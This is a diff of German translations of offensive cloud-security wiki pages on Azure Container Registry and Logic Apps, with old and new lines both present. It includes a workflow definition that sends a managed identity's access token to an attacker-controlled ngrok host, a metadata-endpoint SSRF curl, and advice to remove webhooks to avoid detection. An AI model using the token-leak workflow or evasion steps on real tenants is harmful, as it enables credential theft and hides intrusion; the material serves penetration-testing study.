- Richtlinien ändern
- Images signieren
- Bilder signieren
Es gibt auch einige **vordefinierte Rollen**, die zugewiesen werden können, und es ist auch möglich, **benutzerdefinierte Rollen** zu erstellen.
@@ -25,14 +25,14 @@ Es gibt auch einige **vordefinierte Rollen**, die zugewiesen werden können, und
### Authentifizierung
> [!WARNING]
> Es ist sehr wichtig, dass Sie, auch wenn der Registrierungsname einige Großbuchstaben enthält, immer **Kleinbuchstaben** verwenden, um sich anzumelden, Images zu pushen und zu pullen.
> Es ist sehr wichtig, dass Sie, auch wenn der Registrierungsname einige Großbuchstaben enthält, immer **Kleinbuchstaben** verwenden, um sich anzumelden, Bilder hochzuladen und herunterzuladen.
Es gibt 4 Möglichkeiten, sich bei einem ACR zu authentifizieren:
- **Mit Entra ID**: Dies ist die **Standard**-Methode zur Authentifizierung bei einem ACR. Es verwendet den **`az acr login`** Befehl, um sich beim ACR zu authentifizieren. Dieser Befehl **speichert die Anmeldeinformationen** in der **`~/.docker/config.json`** Datei. Darüber hinaus, wenn Sie diesen Befehl aus einer Umgebung ohne Zugriff auf einen Docker-Socket wie in einer **Cloud-Shell** ausführen, ist es möglich, das **`--expose-token`** Flag zu verwenden, um das **Token** zur Authentifizierung beim ACR zu erhalten. Um sich zu authentifizieren, müssen Sie als Benutzernamen `00000000-0000-0000-0000-000000000000` verwenden, wie: `docker login myregistry.azurecr.io --username 00000000-0000-0000-0000-000000000000 --password-stdin <<< $TOKEN`
- **Mit einem Administratorkonto**: Der Administratorkonto ist standardmäßig deaktiviert, kann jedoch aktiviert werden, und dann ist es möglich, auf die Registry mit dem **Benutzernamen** und **Passwort** des Administratorkontos mit vollständigen Berechtigungen für die Registry zuzugreifen. Dies wird weiterhin unterstützt, da einige Azure-Dienste es verwenden. Beachten Sie, dass für diesen Benutzer **2 Passwörter** erstellt werden und beide gültig sind. Sie können es mit `az acr update -n <acrName> --admin-enabled true` aktivieren. Beachten Sie, dass der Benutzername normalerweise der Registrierungsname ist (und nicht `admin`).
- **Mit einem Token**: Es ist möglich, ein **Token** mit einem **spezifischen `scope map`** (Berechtigungen) zu erstellen, um auf die Registry zuzugreifen. Dann ist es möglich, diesen Token-Namen als Benutzernamen und eines der generierten Passwörter zur Authentifizierung bei der Registry mit `docker login -u <registry-name> -p <password> aregistry-url>` zu verwenden.
- **Mit einem Dienstprinzipal**: Es ist möglich, einen **Dienstprinzipal** zu erstellen und eine Rolle wie **`AcrPull`** zuzuweisen, um Images zu pullen. Dann ist es möglich, sich mit der SP appId als Benutzernamen und einem generierten Geheimnis als Passwort bei der Registry anzumelden.
- **Mit Entra ID**: Dies ist die **Standard**-Methode zur Authentifizierung bei einem ACR. Es verwendet den Befehl **`az acr login`**, um sich beim ACR zu authentifizieren. Dieser Befehl **speichert die Anmeldeinformationen** in der **`~/.docker/config.json`**-Datei. Darüber hinaus, wenn Sie diesen Befehl aus einer Umgebung ohne Zugriff auf einen Docker-Socket wie in einer **Cloud-Shell** ausführen, ist es möglich, das **`--expose-token`**-Flag zu verwenden, um das **Token** zur Authentifizierung beim ACR zu erhalten. Um sich zu authentifizieren, müssen Sie den Benutzernamen `00000000-0000-0000-0000-000000000000` verwenden, wie: `docker login myregistry.azurecr.io --username 00000000-0000-0000-0000-000000000000 --password-stdin <<< $TOKEN`
- **Mit einem Administratorkonto**: Der Administratorkonto ist standardmäßig deaktiviert, kann jedoch aktiviert werden, und dann ist es möglich, auf die Registry mit dem **Benutzernamen** und **Passwort** des Administratorkontos mit vollständigen Berechtigungen für die Registry zuzugreifen. Dies wird weiterhin unterstützt, da einige Azure-Dienste es verwenden. Beachten Sie, dass **2 Passwörter** für diesen Benutzer erstellt werden und beide gültig sind. Sie können es mit `az acr update -n <acrName> --admin-enabled true` aktivieren. Beachten Sie, dass der Benutzername normalerweise der Registrierungsname ist (und nicht `admin`).
- **Mit einem Token**: Es ist möglich, ein **Token** mit einem **spezifischen `scope map`** (Berechtigungen) zu erstellen, um auf die Registry zuzugreifen. Dann ist es möglich, den Namen des Tokens als Benutzernamen und eines der generierten Passwörter zur Authentifizierung bei der Registry mit `docker login -u <registry-name> -p <password> <registry-url>` zu verwenden.
- **Mit einem Service Principal**: Es ist möglich, einen **Service Principal** zu erstellen und eine Rolle wie **`AcrPull`** zuzuweisen, um Bilder herunterzuladen. Dann ist es möglich, sich mit der SP appId als Benutzernamen und einem generierten Geheimnis als Passwort bei der Registry anzumelden.
Beispielskript aus den [Dokumenten](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-auth-service-principal) zur Erstellung eines SP mit Zugriff auf eine Registry:
```bash
@@ -63,19 +63,19 @@ Dies ermöglicht es Ihnen, die **Images** im Registry auf **Schwachstellen** zu
### Soft-Delete
Die Funktion **Soft-Delete** ermöglicht es Ihnen, ein **gelöschtes Registry** innerhalb der angegebenen Anzahl von Tagen **wiederherzustellen**. Diese Funktion ist **standardmäßig deaktiviert**.
Die **Soft-Delete**-Funktion ermöglicht es Ihnen, ein **gelöschtes Registry** innerhalb der angegebenen Anzahl von Tagen **wiederherzustellen**. Diese Funktion ist **standardmäßig deaktiviert**.
### Webhooks
Es ist möglich, **Webhooks** innerhalb von Registries zu **erstellen**. In diesem Webhook muss die URL angegeben werden, an die eine **Anfrage gesendet wird, wann immer eine Push- oder Löschaktion durchgeführt wird**. Darüber hinaus können Webhooks einen Geltungsbereich angeben, um die Repositories (Images) zu kennzeichnen, die betroffen sind. Zum Beispiel bedeutet 'foo:\*', dass Ereignisse unter dem Repository 'foo' stattfinden.
Es ist möglich, **Webhooks** innerhalb von Registries zu **erstellen**. In diesem Webhook muss die URL angegeben werden, an die eine **Anfrage gesendet wird, wann immer eine Push- oder Löschaktion durchgeführt wird**. Darüber hinaus können Webhooks einen Scope angeben, um die Repositories (Images) zu kennzeichnen, die betroffen sein werden. Zum Beispiel bedeutet 'foo:\*', dass Ereignisse unter dem Repository 'foo' stattfinden.
Aus der Perspektive eines Angreifers ist es interessant, dies **vor der Durchführung einer Aktion** im Registry zu überprüfen und es vorübergehend zu entfernen, wenn nötig, um eine Entdeckung zu vermeiden.
### Verbundene Registries
Dies ermöglicht im Wesentlichen, die **Images** von einem Registry zu einem anderen zu **spiegeln**, der sich normalerweise vor Ort befindet.
Dies ermöglicht im Wesentlichen, die **Images** von einem Registry zu einem anderen, normalerweise lokal, zu **spiegeln**.
Es hat 2 Modi: **ReadOnly** und **ReadWrite**. Im ersten Modus werden die Images nur **von** dem Quell-Registry **gezogen**, und im zweiten Modus können Images auch **zum** Quell-Registry **geschoben** werden.
Es hat 2 Modi: **ReadOnly** und **ReadWrite**. Im ersten Modus werden die Images nur **von** dem Quell-Registry **gezogen**, und im zweiten Modus können Images auch **in** das Quell-Registry **geschoben** werden.
Damit Clients auf das Registry von Azure aus zugreifen können, wird ein **Token** generiert, wenn das verbundene Registry verwendet wird.
@@ -94,7 +94,7 @@ az acr run --registry mycontainerregistry008 --cmd '$Registry/sample/hello-world
```
Allerdings wird dies Ausführungen auslösen, die aus der Perspektive eines Angreifers nicht besonders interessant sind, da ihnen keine verwaltete Identität zugeordnet ist.
Allerdings können **Tasks** eine **system- und benutzerverwaltete Identität** zugeordnet haben. Diese Tasks sind die nützlichsten, um **Privilegien zu eskalieren** im Container. Im Abschnitt zur Eskalation von Privilegien ist zu sehen, wie man Tasks zur Eskalation von Privilegien nutzen kann.
Allerdings können **Tasks** eine **System- und benutzerverwaltete Identität** zugeordnet haben. Diese Tasks sind die nützlichsten, um **Privilegien zu eskalieren** im Container. Im Abschnitt zur Eskalation von Privilegien ist es möglich zu sehen, wie man Tasks zur Eskalation von Privilegien nutzen kann.
### Cache
@@ -143,10 +143,16 @@ az acr cache list --registry <registry-name>
# Get cache details
az acr cache show --name <cache-name> --registry <registry-name>
```
## Privilegienerweiterung & Nachausnutzung
## Unauthentifizierter Zugriff
{{#ref}}
../az-privilege-escalation/az-automation-accounts-privesc.md
../az-unauthenticated-enum-and-initial-entry/az-container-registry-unauth.md
{{#endref}}
## Privilegieneskalation & Post-Exploitation
{{#ref}}
../az-privilege-escalation/az-container-registry-privesc.md
{{#endref}}
## Referenzen

230
src/pentesting-cloud/azure-security/az-services/az-logic-apps.md
View File

@@ -4,99 +4,175 @@
## Grundinformationen
Azure Logic Apps ist ein cloudbasierter Dienst von Microsoft Azure, der Entwicklern ermöglicht, **Workflows zu erstellen und auszuführen, die verschiedene Dienste**, Datenquellen und Anwendungen integrieren. Diese Workflows sind darauf ausgelegt, **Geschäftsprozesse zu automatisieren**, Aufgaben zu orchestrieren und Datenintegrationen über verschiedene Plattformen hinweg durchzuführen.
Azure Logic Apps ermöglicht Entwicklern, **Workflows zu erstellen und auszuführen, die verschiedene Dienste**, Datenquellen und Anwendungen integrieren. Diese Workflows sind darauf ausgelegt, **Geschäftsprozesse zu automatisieren**, Aufgaben zu orchestrieren und Datenintegrationen über verschiedene Plattformen hinweg durchzuführen.
Logic Apps bietet einen visuellen Designer, um Workflows mit einer **breiten Palette von vorgefertigten Konnektoren** zu erstellen, was es einfach macht, sich mit verschiedenen Diensten wie Office 365, Dynamics CRM, Salesforce und vielen anderen zu verbinden und zu interagieren. Sie können auch benutzerdefinierte Konnektoren für Ihre spezifischen Bedürfnisse erstellen.
Logic Apps bietet einen **visuellen Designer**, um Workflows mit einer **breiten Palette von vorgefertigten Konnektoren** zu erstellen, was es einfach macht, sich mit verschiedenen Diensten zu verbinden und zu interagieren:
Beim Erstellen einer Logic App müssen Sie entweder ein externes Speicherkonto erstellen oder verknüpfen, das den Workflow-Zustand, die Ausführungshistorie und Artefakte speichert. Dieser Speicher kann mit Diagnosetools zur Überwachung konfiguriert und mit Netzwerkzugriffsrestriktionen gesichert oder in ein virtuelles Netzwerk integriert werden, um den ein- und ausgehenden Datenverkehr zu steuern.
<figure><img src="../../../images/image (197).png" alt="https://infiniteblogs.blob.core.windows.net/medias/4de7fba4-1d43-465a-8c12-8da966a2cdb3_Overview.png"><figcaption></figcaption></figure>
### Beispiele
- **Automatisierung von Datenpipelines**: Logic Apps können **Datenübertragungs- und Transformationsprozesse** in Kombination mit Azure Data Factory automatisieren. Dies ist nützlich, um skalierbare und zuverlässige Datenpipelines zu erstellen, die Daten zwischen verschiedenen Datenspeichern wie Azure SQL Database und Azure Blob Storage bewegen und transformieren, was Analysen und Geschäftsintelligenzoperationen unterstützt.
- **Integration mit Azure Functions**: Logic Apps können zusammen mit Azure Functions verwendet werden, um **anspruchsvolle, ereignisgesteuerte Anwendungen zu entwickeln, die nach Bedarf skalieren** und nahtlos mit anderen Azure-Diensten integriert werden. Ein Beispielanwendungsfall ist die Verwendung einer Logic App, um eine Azure Function als Reaktion auf bestimmte Ereignisse, wie Änderungen in einem Azure Storage-Konto, auszulösen, was eine dynamische Datenverarbeitung ermöglicht.
### Visualisieren einer LogicAPP
Es ist möglich, eine LogicApp grafisch darzustellen:
<figure><img src="../../../images/image (197).png" alt=""><figcaption></figcaption></figure>
oder den Code im Abschnitt "**Logic app code view**" zu überprüfen.
### SSRF-Schutz
Selbst wenn Sie die **Logic App anfällig für SSRF** finden, können Sie nicht auf die Anmeldeinformationen aus den Metadaten zugreifen, da Logic Apps dies nicht zulässt.
Zum Beispiel wird etwas wie dies das Token nicht zurückgeben:
```bash
# The URL belongs to a Logic App vulenrable to SSRF
curl -XPOST 'https://prod-44.westus.logic.azure.com:443/workflows/2d8de4be6e974123adf0b98159966644/triggers/manual/paths/invoke?api-version=2016-10-01&sp=%2Ftriggers%2Fmanual%2Frun&sv=1.0&sig=_8_oqqsCXc0u2c7hNjtSZmT0uM4Xi3hktw6Uze0O34s' -d '{"url": "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"}' -H "Content-type: application/json" -v
```
### Hosting-Optionen
Es gibt mehrere Hosting-Optionen:
* **Consumption**
- **Multi-tenant**: bietet gemeinsame Rechenressourcen, arbeitet in der öffentlichen Cloud und folgt einem Preismodell pro Operation. Dies ist ideal für leichte und kosteneffektive Workloads. Dies implementiert einen "Single Workflow".
- **Multi-tenant**: Dies bietet gemeinsame Rechenressourcen, arbeitet in der öffentlichen Cloud und folgt einem Preismodell pro Operation. Dies ist ideal für leichte und kosteneffiziente Workloads. Dies nennen wir einen "Single Workflow".
* **Standard**
- **Workflow Service Plan**: dedizierte Rechenressourcen mit VNET-Integration für Netzwerke und berechnet pro Instanz des Workflow-Service-Plans. Es ist geeignet für anspruchsvollere Workloads, die mehr Kontrolle erfordern.
- **App Service Environment V3**: dedizierte Rechenressourcen mit vollständiger Isolation und Skalierbarkeit. Es integriert sich auch mit VNET für Netzwerke und verwendet ein Preismodell basierend auf App Service-Instanzen innerhalb der Umgebung.
- **Hybrid**: entworfen für lokale Verarbeitung und Multi-Cloud-Unterstützung. Es ermöglicht kundenverwaltete Rechenressourcen mit lokalem Netzwerkzugang und nutzt Kubernetes Event-Driven Autoscaling (KEDA). Es basiert auf einer Container App Connected Environment.
- **Workflow Service Plan**: Dies bietet dedizierte Rechenressourcen mit VNET-Integration für das Networking und berechnet pro Instanz des Workflow-Serviceplans. Es eignet sich für anspruchsvollere Workloads, die mehr Kontrolle erfordern.
- **App Service Environment V3:** Dies bietet dedizierte Rechenressourcen mit vollständiger Isolation und Skalierbarkeit. Es integriert sich auch mit VNET für das Networking und verwendet ein Preismodell, das auf App Service-Instanzen innerhalb der Umgebung basiert.
- **Hybrid:** Dies ist für lokale Verarbeitung und Multi-Cloud-Unterstützung konzipiert. Es ermöglicht kundenverwaltete Rechenressourcen mit lokalem Netzwerkzugang und nutzt Kubernetes Event-Driven Autoscaling (KEDA). Es basiert auf einer Container-App-verbundenen Umgebung.
### Hauptmerkmale
- **Speicher**: Logic Apps benötigen ein externes Azure Storage-Konto, um den Workflow-Zustand, die Ausführungshistorie… zu speichern und müssen sich in derselben Ressourcengruppe wie die Logic App befinden.
- **Netzwerk & Sicherheit**: Logic Apps können mit öffentlichem oder privatem Zugriff konfiguriert werden. Standardmäßig ist die App für das Internet geöffnet, kann jedoch mit einem Azure Virtual Network für isolierte Konnektivität integriert werden.
- **Application Insights**: Application Performance Management (APM) über Azure Monitor Application Insights kann aktiviert werden, um die Leistung zu verfolgen, Anomalien zu erkennen und Analysen bereitzustellen.
- **Zugriffskontrolle**: Logic Apps unterstützen System Managed Identities & User Managed Identities.
## "Single" Workflows / Consumption Plan
### "Single" Workflows
Ein **Workflow** ist eine strukturierte Abfolge automatisierter Schritte oder Aufgaben, die einen bestimmten Prozess oder ein Ziel ausführen. Er definiert, wie verschiedene Aktionen, Bedingungen und Entscheidungen interagieren, um ein gewünschtes Ergebnis zu erzielen, wodurch die Abläufe optimiert und der manuelle Aufwand reduziert wird.
Ein **Workflow** ist eine strukturierte Abfolge automatisierter Schritte oder Aufgaben, die einen bestimmten Prozess oder ein Ziel ausführen. Er definiert, wie verschiedene Aktionen, Bedingungen und Entscheidungen interagieren, um ein gewünschtes Ergebnis zu erzielen, wodurch die Abläufe optimiert und der manuelle Aufwand reduziert wird. Workflows können mehrere Systeme integrieren, Ereignisse und Regeln auslösen und gewährleisten Konsistenz und Effizienz in den Prozessen.
> [!TIP]
> Der Consumption-Plan ermöglicht **die Erstellung eines einzelnen Workflows ohne die Notwendigkeit einer Logic App** selbst.
Azure Logic Apps bietet die Funktionalität, **einen einzelnen Workflow ohne die Notwendigkeit einer Logic App** selbst zu erstellen.
### Trigger & Aktionen
Jeder Workflow hat unterschiedliche **Trigger**. Diese Trigger sind die Schritte, die der Workflow befolgt. Jeder Trigger hat seine Parameter, die je nach Art des Triggers variieren können:
- Verbindungsname
- **Authentifizierungstyp**, der Access Key, Microsoft Entra ID, integrierte Dienstprinzipal-Authentifizierung und Logic Apps Managed Identity sein kann.
Workflow-Trigger geben an, **wann der Workflow gestartet werden soll**. Trigger können ein HTTP-Endpunkt, ein Zeitplan oder Dutzende verschiedener Ereignisse aus Azure oder sogar externen Apps sein.
Trigger haben auch verschiedene Einstellungen:
- Schema-Validierung: Stellt sicher, dass eingehende Daten einer vordefinierten Struktur folgen.
- Parallelitätskontrolle: Begrenzung der Anzahl paralleler Ausführungen.
- Triggerbedingungen: Bedingungen, die erfüllt sein müssen, bevor der Trigger ausgelöst wird.
- Netzwerk: Konfiguriert die Chunk-Größe für den Datentransfer und ermöglicht das Unterdrücken von Workflow-Headern in Antworten.
- **Sicherheit**: Aktiviert **sichere Eingaben/Ausgaben, um** sensible Daten in Protokollen und Ausgaben zu verbergen.
Jeder Workflow hat verschiedene **Aktionen**. Diese Aktionen sind die Schritte, die der Workflow ausführt. Abhängig von der Aktion stehen verschiedene Parameter zur Verfügung, um sie zu konfigurieren, wie:
**Einstellungen & API-Verbindungen:**
- **Verbindungsname**: Verbindung, die die Aktion verwenden wird.
- **Authentifizierungstyp:** Die verschiedenen Optionen sind Access Key, Microsoft Entra ID, integrierte Dienstprinzipal-Authentifizierung und Logic Apps Managed Identity.
- Aus einer Read-Only-Perspektive sind die **Authentifizierungs**daten immer interessant, da sie sensible Informationen enthalten könnten.
- Aus einer Write-Perspektive sind die **Authentifizierungs**daten immer interessant, da sie die Verwendung der Berechtigungen der zugewiesenen verwalteten Identitäten ermöglichen könnten.
- ...
Ein Workflow hat verschiedene Einstellungen wie:
- Erlaubte eingehende IP-Adressen: Diese Einstellung ermöglicht es Ihnen, einzuschränken, wer Ihre Logic App auslösen oder starten kann. Die Optionen sind Any IP, nur andere Logic Apps und spezifische IP-Bereiche.
- Integrationskonto: Hier können Sie Ihre Logic App mit einem Integrationskonto verknüpfen.
- Hohe Durchsatzrate: Diese Einstellung ermöglicht es Ihrer Logic App, mehr Anfragen schnell zu bearbeiten.
- Aufbewahrung der Ausführungshistorie: wie lange die Historie der Ausführungen Ihrer Logic App aufbewahrt wird.
Aktionen haben auch verschiedene **Einstellungen**, die von der Aktion selbst abhängen. Einige der häufigsten Einstellungen sind:
Sie können die verschiedenen API-Verbindungen sehen, die der Workflow hat. Innerhalb jeder dieser Verbindungen haben sie unterschiedliche Eigenschaften und die Möglichkeit, die API-Verbindung zu bearbeiten, wobei der Authentifizierungstyp geändert werden kann.
- **Wiederholungsrichtlinie**: Konfiguriert die Anzahl der Wiederholungen und das Intervall zwischen ihnen.
- **Zeitüberschreitung**: Legt die maximale Zeit fest, die die Aktion laufen kann, bevor sie abläuft.
- **Nach Ausführung**: Gibt die Bedingungen an, die erfüllt sein müssen, bevor die Aktion ausgeführt wird.
- **Schema-Validierung**: Stellt sicher, dass eingehende Daten einer vordefinierten Struktur folgen.
- **Netzwerk**: Konfiguriert, wie verschiedene Header verwaltet werden.
- **Sichere Eingaben/Ausgaben**: Dies verbirgt Eingabe-/Ausgabedaten aus dem Ausführungsverlauf.
- ...
**Historie & Versionen:**
Es gibt die Option, auf die **Historie** der verschiedenen Ausführungen zuzugreifen, die Einstellungen, Ausgaben, Parameter und den Code anzeigt.
### Autorisierungsrichtlinien
Es gibt auch die Option, auf verschiedene **Versionen** des Workflows zuzugreifen, wo Sie den Code überprüfen und den aktuellen Workflow mit einer älteren Version davon ändern können.
**Autorisierung:**
Azure Logic Apps unterstützen **Autorisierungsrichtlinien** mit Entra ID, um anforderungsbasierte Trigger zu sichern, indem ein gültiges Zugriffstoken erforderlich ist. Dieses Token muss spezifische Ansprüche enthalten:
Diese Workflows unterstützen **Autorisierungsrichtlinien** mit Entra ID, um anforderungsbasierte Trigger zu sichern, indem ein gültiges Zugriffstoken erforderlich ist. Dieses Token muss spezifische Ansprüche enthalten:
- Aussteller (iss), um den Identitätsanbieter zu überprüfen
- Zielgruppe (aud), um sicherzustellen, dass das Token für die Logic App bestimmt ist
- Subjekt (sub), um den Anrufer zu identifizieren
- JWT-ID (JSON Web Token-Identifikator)
- Benutzerdefinierter Anspruch
Wenn eine Anfrage empfangen wird, validiert Logic Apps das Token anhand dieser Ansprüche und erlaubt die Ausführung nur, wenn sie mit der konfigurierten Richtlinie übereinstimmen. Dies kann verwendet werden, um einem anderen Mandanten zu erlauben, den Workflow auszulösen, oder um Trigger von anderen Quellen abzulehnen, zum Beispiel nur den Trigger zuzulassen, wenn er von https://login.microsoftonline.com/ kommt.
Wenn eine Anfrage eingeht, validiert Logic Apps das Token anhand dieser Ansprüche und erlaubt die Ausführung nur, wenn sie mit der konfigurierten Richtlinie übereinstimmen. Dies kann verwendet werden, um einem anderen Mandanten zu erlauben, den Workflow auszulösen, oder um Trigger von anderen Quellen abzulehnen, zum Beispiel nur den Trigger zuzulassen, wenn er von https://login.microsoftonline.com/ kommt.
**Zugriffsschlüssel:**
Wenn Sie einen anforderungsbasierten Trigger zum ersten Mal speichern, erstellt Logic Apps automatisch einen eindeutigen Endpunkt mit einer SAS-Signatur (erstellt aus dem Zugriffsschlüssel), die die Berechtigung zum Aufrufen des Workflows gewährt. Diese SAS-Signatur ist in der URL des Triggers eingebettet. Dieser Schlüssel kann regeneriert werden und es wird eine neue SAS-Signatur erstellt, aber die Schlüssel können nicht aufgelistet werden.
### Zugriffsschlüssel
Die URL, um ihn mit dem Zugriffsschlüssel aufzurufen:
Workflows **generieren 2 Zugriffsschlüssel**, wenn sie erstellt werden. Diese Schlüssel werden verwendet, um Anfragen an den Workflow zu authentifizieren und zu autorisieren. Die Schlüssel werden verwendet, um ein Shared Access Signature (SAS)-Token zu generieren, das in der Anfrage-URL enthalten ist.
Wenn also ein HTTP-Endpunkt-Trigger erstellt wird, wird ein **einzigartiger HTTP-Endpunkt mit einer SAS-Signatur** generiert, der die Berechtigung zum Aufrufen des Workflows gewährt.
Diese **Schlüssel können regeneriert** werden, und eine neue SAS-URL wird für diese Trigger erstellt, aber die **Schlüsselwerte können nicht abgerufen** werden.
Beispiel einer SAS-URL zum Auslösen eines Triggers:
```
https://<region>.logic.azure.com:443/workflows/<workflow-id>/triggers/<trigger-name>/paths/invoke?api-version=<api-version>&sp=%2Ftriggers%2F<trigger-name>%2Frun&sv=<version>&sig=<signature>
```
### Workflow-Einstellungen & Komponenten
- **Trigger-Zugriffsoption**: Diese Einstellung ermöglicht es Ihnen, einzuschränken, wer Ihren Workflow auslösen oder starten kann. Die Optionen sind Any IP, Only other workflow und Specific IP ranges.
- **Integrationskonto**: Verknüpfen Sie Ihren Workflow mit einem Integrationskonto.
- **Hohe Durchsatzrate**: Wenn aktiviert, ermöglicht es, mehr Anfragen schnell parallel zu bearbeiten.
- **Aufbewahrung der Ausführungsverlauf**: Dies gibt die Anzahl der Tage an, an denen der Ausführungsverlauf aufbewahrt wird.
- **API-Verbindungen**: Dies zeigt die verschiedenen API-Verbindungen, die der Workflow hat. Innerhalb jeder dieser Verbindungen gibt es unterschiedliche Eigenschaften und die Möglichkeit, die API-Verbindung zu bearbeiten, bei der der Authentifizierungstyp geändert werden kann.
- **Verlauf**: Es gibt die Option, auf den **Verlauf** alter Ausführungen zuzugreifen und Daten abzurufen: Einstellungen, Ausgabe, Parameter und den Code.
- **Versionen**: Es gibt die Option, auf verschiedene **Versionen** des Workflows zuzugreifen, wo Sie den Code überprüfen und den aktuellen Workflow mit einer älteren Version davon ändern können.
- **Verwaltete Identitäten**: Es ist möglich, 1 systemverwaltete Identität und eine benutzerverwaltete Identität dem Workflow zuzuweisen.
### Leak MI-Zugriffstoken
Die HTTP-Aktion in einem Workflow kann verwendet werden, um Daten an ein externes Web zu senden. In den **Erweiterten Parametern** der HTTP-Aktion ist es möglich, den **Authentifizierungstyp** als **`Managed identity`** zu konfigurieren und dann die **zugewiesene verwaltete Identität** auszuwählen (System oder Benutzer).
Darüber hinaus ist es möglich, im **`Audience`** das Publikum des generierten JWT anzugeben, das beispielsweise **`https://management.azure.com/`** sein könnte, um das generierte Token zu verwenden, um auf die Azure Management-API zuzugreifen.
> [!WARNING]
> Wenn die Aktion die HTTP-Anfrage an einen von einem Angreifer kontrollierten Server sendet, ist es möglich, das **Zugriffstoken der verwalteten Identität**, die dem Workflow zugewiesen ist, **zu leaken**.
> [!TIP]
> Ein Angreifer könnte auch andere Arten von Aktionen verwenden, um **direkt auf andere Azure-Dienste zuzugreifen** und Aktionen mit den Berechtigungen der verwalteten Identität durchzuführen.
Dies ist der Code eines Workflows, der einen HTTP-Endpunkt exponiert und dann eine HTTP-Aktion verwendet, um das Zugriffstoken an die konfigurierte URL (ngrok in diesem Fall) zu leaken:
<details>
<summary>Workflow-Code</summary>
```json
{
"definition": {
"$schema": "https://schema.management.azure.com/providers/Microsoft.Logic/schemas/2016-06-01/workflowdefinition.json#",
"contentVersion": "1.0.0.0",
"triggers": {
"When_a_HTTP_request_is_received": {
"type": "Request",
"kind": "Http"
}
},
"actions": {
"HTTP": {
"runAfter": {},
"type": "Http",
"inputs": {
"uri": "https://22b6-81-33-70-107.ngrok-free.app",
"method": "GET",
"authentication": {
"type": "ManagedServiceIdentity",
"audience": "https://management.azure.com/"
}
},
"runtimeConfiguration": {
"contentTransfer": {
"transferMode": "Chunked"
}
}
}
},
"outputs": {},
"parameters": {
"$connections": {
"type": "Object",
"defaultValue": {}
}
}
},
"parameters": {
"$connections": {
"type": "Object",
"value": {}
}
}
}
```
</details>
## Logic Apps / Standardplan
### Unterschiede zu "Einzel"-Workflows
Logic Apps verwenden im Hintergrund im Grunde einen App Service, um **die Logic App zu hosten, die mehrere Workflows hosten kann**. Das bedeutet, dass die Logic App alle Funktionen eines App Service und der "Einzel"-Workflows haben wird.
Einige wichtige Funktionen wären:
- **App Service Plan**: Logic Apps im Standardplan werden auf einem App Service Plan gehostet, sodass alle Funktionen des App Service genutzt werden können, wie:
- **Netzwerkbeschränkungen**: Geben Sie an, von wo aus sie zugänglich sind.
- **Bereitstellungszentrum**: Bereitstellung von externen Plattformen wie Github, Bitbucket, Azure Repos, External Git und Local Git.
- **FTP-Zugriff**: Es ist möglich, auf die Dateien der Logic App über FTP zuzugreifen.
- **Speicherkonto**: Die Service-App verwendet ein Speicherkonto, um Informationen zu speichern.
- **Umgebungsvariablen & App-Einstellungen**: Es ist möglich, Umgebungsvariablen und App-Einstellungen zu konfigurieren (und sensible Informationen wie Zugriffsschlüssel zum Speicherkonto zu finden).
- ...
- **Parameter**: Parameter ermöglichen es Ihnen, Werte zu verwalten, die sich zwischen Entwicklung, Test und Produktion unterscheiden. Dies ermöglicht es Ihnen, Workflows zuerst zu entwerfen und dann später Umgebungs-spezifische Einstellungen einfach anzupassen.
- **Dedizierte Ressourcen**: Logic Apps im Standardplan haben dedizierte Ressourcen.
- **Mehrere Workflows**: Es ermöglicht die Erstellung mehrerer Workflows.
Für weitere Informationen zu App Services siehe:
{{#ref}}
../az-services/az-app-services.md
{{#endref}}
### Enumeration
@@ -203,17 +279,19 @@ Get-AzLogicAppTriggerHistory -ResourceGroupName "<ResourceGroupName>" -Name "<Lo
{{#endtab }}
{{#endtabs }}
### Integrationskonten
## Integrationskonten
**Integrationskonten** sind eine Funktion von Azure Logic Apps. Integrationskonten werden verwendet, um unternehmensweite Integrationen zu erleichtern, indem sie erweiterte B2B-Funktionen wie EDI, AS2 und XML-Schema-Management ermöglichen. Integrationskonten sind ein Container in Azure, der die folgenden Artefakte speichert, die für Logic Apps verwendet werden:
* Schemata: Verwaltet XML-Schemata zur Validierung und Verarbeitung von Nachrichten in Ihrem Integrationskonto.
* Maps: Konfigurieren Sie XSLT-basierte Transformationen, um Datenformate innerhalb Ihrer Integrations-Workflows zu konvertieren.
* Assemblies: Verwaltet Integrationskonten-Assemblies, um Logik und Datenverarbeitung zu optimieren.
* Zertifikate: Verwaltet Zertifikate zur Verschlüsselung und Signierung von Nachrichten, um eine sichere Kommunikation zu gewährleisten.
* Partner: Verwaltet Informationen über Handelspartner für B2B-Transaktionen und ermöglicht nahtlose Integrationen.
* Vereinbarungen: Konfigurieren Sie Regeln und Einstellungen für den Austausch von Daten mit Handelspartnern (z. B. EDI, AS2).
* Batch-Konfigurationen: Verwaltet Batch-Verarbeitungs-Konfigurationen, um Nachrichten effizient zu gruppieren und zu verarbeiten.
* RosettaNet PIP: Konfigurieren Sie RosettaNet Partner Interface Processes (PIPs), um die B2B-Kommunikation zu standardisieren.
* **Schemas**: Verwaltet XML-Schemas zur Validierung und Verarbeitung von Nachrichten in Ihrem Integrationskonto.
* **Maps**: Konfiguriert XSLT-basierte Transformationen zur Konvertierung von Datenformaten innerhalb Ihrer Integrations-Workflows.
* **Assemblies**: Verwaltet Integrationskonten-Assemblies, um Logik und Datenverarbeitung zu optimieren.
* **Certificates**: Handhabt Zertifikate zur Verschlüsselung und Signierung von Nachrichten, um eine sichere Kommunikation zu gewährleisten.
* **Partners**: Verwaltet Informationen über Handelspartner für B2B-Transaktionen und ermöglicht nahtlose Integrationen.
* **Agreements**: Konfiguriert Regeln und Einstellungen für den Datenaustausch mit Handelspartnern (z. B. EDI, AS2).
* **Batch Configurations**: Verwaltet Konfigurationen für die Batchverarbeitung, um Nachrichten effizient zu gruppieren und zu verarbeiten.
* **RosettaNet PIP**: Konfiguriert RosettaNet Partner Interface Processes (PIPs) zur Standardisierung der B2B-Kommunikation.
#### Aufzählung
@@ -323,10 +401,16 @@ Gleich wie bei Logic Apps Privesc:
../az-privilege-escalation/az-logic-apps-privesc.md
{{#endref}}
## Nach der Ausnutzung
## Post-Exploitation
{{#ref}}
../az-post-exploitation/az-logic-apps-post-exploitation.md
{{#endref}}
## Persistenz
{{#ref}}
../az-persistence/az-logic-apps-persistence.md
{{#endref}}
{{#include ../../../banners/hacktricks-training.md}}